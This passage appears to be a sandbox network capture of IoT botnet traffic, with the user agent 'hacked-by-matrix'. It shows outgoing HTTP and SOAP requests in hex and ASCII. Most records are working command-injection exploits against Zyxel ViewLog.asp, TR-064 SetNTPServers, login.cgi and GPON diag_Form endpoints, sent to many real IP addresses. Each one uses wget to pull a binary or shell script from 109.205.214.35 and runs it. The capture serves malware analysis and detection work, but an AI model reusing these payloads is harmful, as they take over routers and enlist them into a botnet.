6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been remov
Mar 21, 2024 05:26:12.356944084 CET	121	IN	Data Raw: 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d Data Ascii: ed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>
Mar 21, 2024 05:26:12.357009888 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:24:58 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>
Mar 21, 2024 05:26:12.824423075 CET	1286	IN	Data Raw: 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 Data Ascii: em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	38018	178.248.235.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.126957893 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	45220	72.107.204.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.143543005 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	59494	45.76.25.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.168689013 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:12.274580002 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:12 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	36182	67.7.23.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.168736935 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	56416	66.74.206.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.172836065 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.23	52598	109.65.185.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.176990032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	56552	79.129.162.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.176997900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	59942	42.91.155.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177023888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	58582	109.73.192.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177031994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	40566	212.125.151.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177046061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	34156	5.30.205.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177082062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	35900	2.6.222.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177095890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	36854	79.100.129.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177113056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	57850	212.125.19.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177129030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	44734	42.191.54.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177129030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	53976	79.35.252.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177129030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	48128	94.176.95.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177187920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	41878	79.80.172.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177207947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	40164	118.45.24.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177220106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	44702	178.200.63.28	443

Timestamp	Bytes transferred	Direction	Data
